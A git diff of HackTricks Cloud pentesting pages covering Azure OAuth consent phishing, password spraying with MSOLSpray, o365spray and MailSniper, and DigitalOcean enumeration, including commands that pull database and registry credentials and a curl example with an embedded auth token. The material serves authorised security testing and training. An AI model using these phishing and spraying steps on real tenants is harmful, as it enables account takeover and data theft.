-<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>
 
 If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
 
-Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline\_access**, although it's possible to **add more** to this list.
+Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.
 
 nd if they can consent to all apps, they can consent to all apps.
 
 ### 2 Types of attacks
 
-* **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
-  * This requires the phished user to be **able to accept OAuth apps from external tenant**
-  * If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
-* **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
-  * In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
-  * You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
+- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
+  - This requires the phished user to be **able to accept OAuth apps from external tenant**
+  - If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
+- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
+  - In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
+  - You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
 
 ### Users are allowed to consent
 
 Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
 ```
-{% endcode %}
 
-* Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
-* Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
-* **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
+- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
+- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
+- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
 
 It's possible to find the meaning of each of the commented policies in:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
 ```
-{% endcode %}
 
 ### **Application Admins**
 
 Check users that are considered application admins (can accept new applications):
 
-{% code overflow="wrap" %}
 ```bash
 # Get list of roles
 az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
@@ -80,7 +62,6 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
 # Get Cloud Applications Administrators
 az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
 ```
-{% endcode %}
 
 ## **Attack Flow Overview**
 
@@ -96,30 +77,28 @@ The attack involves several steps targeting a generic company. Here's how it mig
 1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
    1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
 
-<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
 
 2. Then create an application secret:
 
-<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
 
 3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
 
-<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
 
-4. **Execute the web page (**[**azure\_oauth\_phishing\_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
+4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
 
-{% code overflow="wrap" %}
 ```bash
 # From https://github.com/carlospolop/azure_oauth_phishing_example
 python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
 ```
-{% endcode %}
 
 5. **Send the URL to the victim**
    1. In this case `http://localhost:8000`
 6. **Victims** needs to **accept the prompt:**
 
-<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
 
 7. Use the **access token to access the requested permissions**:
 
@@ -147,8 +126,8 @@ curl -X GET \
 
 ## Other Tools
 
-* [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
-* [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
+- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
+- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
 
 ## Post-Exploitation
 
@@ -160,26 +139,13 @@ Depending on the requested permissions you might be able to **access different d
 
 Check the Applications and Service Principal sections of the page:
 
-{% content-ref url="../az-privilege-escalation/az-entraid-privesc/" %}
-[az-entraid-privesc](../az-privilege-escalation/az-entraid-privesc/)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-entraid-privesc/
+{{#endref}}
 
 ## References
 
-* [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
-* [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
+- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
+- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
new file mode 100644
index 000000000..4b423dca4
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
@@ -0,0 +1,35 @@
+# Az - Password Spraying
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Password Spray
+
+In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
+
+However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
+
+You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
+
+```powershell
+. .\MSOLSpray\MSOLSpray.ps1
+Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
+```
+
+Or with [**o365spray**](https://github.com/0xZDH/o365spray)
+
+```bash
+python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
+```
+
+Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
+
+```powershell
+#OWA
+Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
+#EWS
+Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
+#Gmail
+Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
new file mode 100644
index 000000000..987595e03
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
@@ -0,0 +1,41 @@
+# Az - VMs Unath
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Virtual Machines
+
+For more info about Azure Virtual Machines check:
+
+{{#ref}}
+../az-services/vms/
+{{#endref}}
+
+### Exposed vulnerable service
+
+A network service that is vulnerable to some RCE.
+
+### Public Gallery Images
+
+A public image might have secrets inside of it:
+
+```bash
+# List all community galleries
+az sig list-community --output table
+
+# Search by publisherUri
+az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
+```
+
+### Public Extensions
+
+This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
+
+```bash
+# It takes some mins to run
+az vm extension image list --output table
+
+# Get extensions by publisher
+az vm extension image list --publisher "Site24x7" --output table
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/README.md b/src/pentesting-cloud/digital-ocean-pentesting/README.md
new file mode 100644
index 000000000..10e077695
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/README.md
@@ -0,0 +1,43 @@
+# Digital Ocean Pentesting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Before start pentesting** a Digital Ocean environment there are a few **basics things you need to know** about how DO works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+
+Concepts such as hierarchy, access and other basic concepts are explained in:
+
+{{#ref}}
+do-basic-information.md
+{{#endref}}
+
+## Basic Enumeration
+
+### SSRF
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
+
+### Projects
+
+To get a list of the projects and resources running on each of them from the CLI check:
+
+{{#ref}}
+do-services/do-projects.md
+{{#endref}}
+
+### Whoami
+
+```bash
+doctl account get
+```
+
+## Services Enumeration
+
+{{#ref}}
+do-services/
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md b/src/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md
similarity index 73%
rename from pentesting-cloud/digital-ocean-pentesting/do-basic-information.md
rename to src/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md
index 6e93e0b75..b6f64e516 100644
--- a/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md
@@ -1,19 +1,6 @@
 # DO - Basic Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,10 +8,10 @@ DigitalOcean is a **cloud computing platform that provides users with a variety
 
 Some of the key features of DigitalOcean include:
 
-* **Virtual private servers (VPS)**: DigitalOcean provides VPS that can be used to host websites and applications. These VPS are known for their simplicity and ease of use, and can be quickly and easily deployed using a variety of pre-built "droplets" or custom configurations.
-* **Storage**: DigitalOcean offers a range of storage options, including object storage, block storage, and managed databases, that can be used to store and manage data for websites and applications.
-* **Development and deployment tools**: DigitalOcean provides a range of tools that can be used to build, deploy, and manage applications, including APIs and pre-built droplets.
-* **Security**: DigitalOcean places a strong emphasis on security, and offers a range of tools and features to help users keep their data and applications safe. This includes encryption, backups, and other security measures.
+- **Virtual private servers (VPS)**: DigitalOcean provides VPS that can be used to host websites and applications. These VPS are known for their simplicity and ease of use, and can be quickly and easily deployed using a variety of pre-built "droplets" or custom configurations.
+- **Storage**: DigitalOcean offers a range of storage options, including object storage, block storage, and managed databases, that can be used to store and manage data for websites and applications.
+- **Development and deployment tools**: DigitalOcean provides a range of tools that can be used to build, deploy, and manage applications, including APIs and pre-built droplets.
+- **Security**: DigitalOcean places a strong emphasis on security, and offers a range of tools and features to help users keep their data and applications safe. This includes encryption, backups, and other security measures.
 
 Overall, DigitalOcean is a cloud computing platform that provides users with the tools and resources they need to build, deploy, and manage applications in the cloud. Its services are designed to be simple and easy to use, making them popular among developers and small businesses.
 
@@ -143,19 +130,6 @@ The **logs of a team** can be found in [**https://cloud.digitalocean.com/account
 
 ## References
 
-* [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)
+- [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md b/src/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
new file mode 100644
index 000000000..d8742796e
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
@@ -0,0 +1,7 @@
+# DO - Permissions for a Pentest
+
+{{#include ../../banners/hacktricks-training.md}}
+
+DO doesn't support granular permissions. So the **minimum role** that allows a user to review all the resources is **member**. A pentester with this permission will be able to perform harmful activities, but it's what it's.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/README.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/README.md
new file mode 100644
index 000000000..1a7ac183b
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/README.md
@@ -0,0 +1,19 @@
+# DO - Services
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+DO offers a few services, here you can find how to **enumerate them:**
+
+- [**Apps**](do-apps.md)
+- [**Container Registry**](do-container-registry.md)
+- [**Databases**](do-databases.md)
+- [**Droplets**](do-droplets.md)
+- [**Functions**](do-functions.md)
+- [**Images**](do-images.md)
+- [**Kubernetes (DOKS)**](do-kubernetes-doks.md)
+- [**Networking**](do-networking.md)
+- [**Projects**](do-projects.md)
+- [**Spaces**](do-spaces.md)
+- [**Volumes**](do-volumes.md)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
new file mode 100644
index 000000000..03c70acee
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
@@ -0,0 +1,34 @@
+# DO - Apps
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform is a Platform-as-a-Service (PaaS) offering that allows developers to **publish code directly to DigitalOcean** servers without worrying about the underlying infrastructure.
+
+You can run code directly from **github**, **gitlab**, **docker hub**, **DO container registry** (or a sample app).
+
+When defining an **env var** you can set it as **encrypted**. The only way to **retreive** its value is executing **commands** inside the host runnig the app.
+
+An **App URL** looks like this [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
+
+### Enumeration
+
+```bash
+doctl apps list # You should get URLs here
+doctl apps spec get <app-id> # Get yaml (including env vars, might be encrypted)
+doctl apps logs <app-id> # Get HTTP logs
+doctl apps list-alerts <app-id> # Get alerts
+doctl apps list-regions # Get available regions and the default one
+```
+
+> [!CAUTION]
+> **Apps doesn't have metadata endpoint**
+
+### RCE & Encrypted env vars
+
+To execute code directly in the container executing the App you will need **access to the console** and go to **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
+
+That will give you a **shell**, and just executing **`env`** you will be able to see **all the env vars** (including the ones defined as **encrypted**).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
new file mode 100644
index 000000000..964b0cf0c
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
@@ -0,0 +1,33 @@
+# DO - Container Registry
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+DigitalOcean Container Registry is a service provided by DigitalOcean that **allows you to store and manage Docker images**. It is a **private** registry, which means that the images that you store in it are only accessible to you and users that you grant access to. This allows you to securely store and manage your Docker images, and use them to deploy containers on DigitalOcean or any other environment that supports Docker.
+
+When creating a Container Registry it's possible to **create a secret with pull images access (read) over it in all the namespaces** of Kubernetes clusters.
+
+### Connection
+
+```bash
+# Using doctl
+doctl registry login
+
+# Using docker (You need an API token, use it as username and as password)
+docker login registry.digitalocean.com
+Username: <paste-api-token>
+Password: <paste-api-token>
+```
+
+### Enumeration
+
+```bash
+# Get creds to access the registry from the API
+doctl registry docker-config
+
+# List
+doctl registry repository list-v2
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
new file mode 100644
index 000000000..99d1d96f9
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
@@ -0,0 +1,43 @@
+# DO - Databases
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+With DigitalOcean Databases, you can easily **create and manage databases in the cloud** without having to worry about the underlying infrastructure. The service offers a variety of database options, including **MySQL**, **PostgreSQL**, **MongoDB**, and **Redis**, and provides tools for administering and monitoring your databases. DigitalOcean Databases is designed to be highly scalable, reliable, and secure, making it an ideal choice for powering modern applications and websites.
+
+### Connections details
+
+When creating a database you can select to configure it **accessible from a public network**, or just from inside a **VPC**. Moreover, it request you to **whitelist IPs that can access it** (your IPv4 can be one).
+
+The **host**, **port**, **dbname**, **username**, and **password** are shown in the **console**. You can even download the AD certificate to connect securely.
+
+```bash
+sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
+```
+
+### Enumeration
+
+```bash
+# Databse clusters
+doctl databases list
+
+# Auth
+doctl databases get <db-id> # This shows the URL with CREDENTIALS to access
+doctl databases connection <db-id> # Another way to egt credentials
+doctl databases user list <db-id> # Get all usernames and passwords
+
+# Dbs inside a database cluster
+doctl databases db list <cluster-id>
+
+# Firewall (allowed IPs), you can also add
+doctl databases firewalls list <cluster-id>
+
+# Backups
+doctl databases backups <db-id> # List backups of DB
+
+# Pools
+doctl databases pool list <db-id> # List pools of DB
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md
similarity index 57%
rename from pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md
rename to src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md
index b1cb6a795..bb4798592 100644
--- a/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md
@@ -1,19 +1,6 @@
 # DO - Droplets
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -45,15 +32,14 @@ For authentication it's possible to **enable SSH** through username and **passwo
 
 ### Firewall
 
-{% hint style="danger" %}
-By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
-{% endhint %}
+> [!CAUTION]
+> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
 
 More info in:
 
-{% content-ref url="do-networking.md" %}
-[do-networking.md](do-networking.md)
-{% endcontent-ref %}
+{{#ref}}
+do-networking.md
+{{#endref}}
 
 ### Enumeration
 
@@ -83,9 +69,8 @@ doctl compute certificate list
 doctl compute snapshot list
 ```
 
-{% hint style="danger" %}
-**Droplets have metadata endpoints**, but in DO there **isn't IAM** or things such as role from AWS or service accounts from GCP.
-{% endhint %}
+> [!CAUTION]
+> **Droplets have metadata endpoints**, but in DO there **isn't IAM** or things such as role from AWS or service accounts from GCP.
 
 ### RCE
 
@@ -93,17 +78,4 @@ With access to the console it's possible to **get a shell inside the droplet** a
 
 It's also possible to launch a **recovery console** to run commands inside the host accessing a recovery console in **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(but in this case you will need to know the root password).
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
new file mode 100644
index 000000000..c167d4ffa
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
@@ -0,0 +1,60 @@
+# DO - Functions
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+DigitalOcean Functions, also known as "DO Functions," is a serverless computing platform that lets you **run code without having to worry about the underlying infrastructure**. With DO Functions, you can write and deploy your code as "functions" that can be **triggered** via **API**, **HTTP requests** (if enabled) or **cron**. These functions are executed in a fully managed environment, so you **don't need to worry** about scaling, security, or maintenance.
+
+In DO, to create a function first you need to **create a namespace** which will be **grouping functions**.\
+Inside the namespace you can then create a function.
+
+### Triggers
+
+The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
+
+```bash
+curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
+```
+
+To see how is the **`doctl`** cli tool getting this token (so you can replicate it), the **following command shows the complete network trace:**
+
+```bash
+doctl serverless connect --trace
+```
+
+**When HTTP trigger is enabled**, a web function can be invoked through these **HTTP methods GET, POST, PUT, PATCH, DELETE, HEAD and OPTIONS**.
+
+> [!CAUTION]
+> In DO functions, **environment variables cannot be encrypted** (at the time of this writing).\
+> I couldn't find any way to read them from the CLI but from the console it's straight forward.
+
+**Functions URLs** look like this: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
+
+### Enumeration
+
+```bash
+# Namespace
+doctl serverless namespaces list
+
+# Functions (need to connect to a namespace)
+doctl serverless connect
+doctl serverless functions list
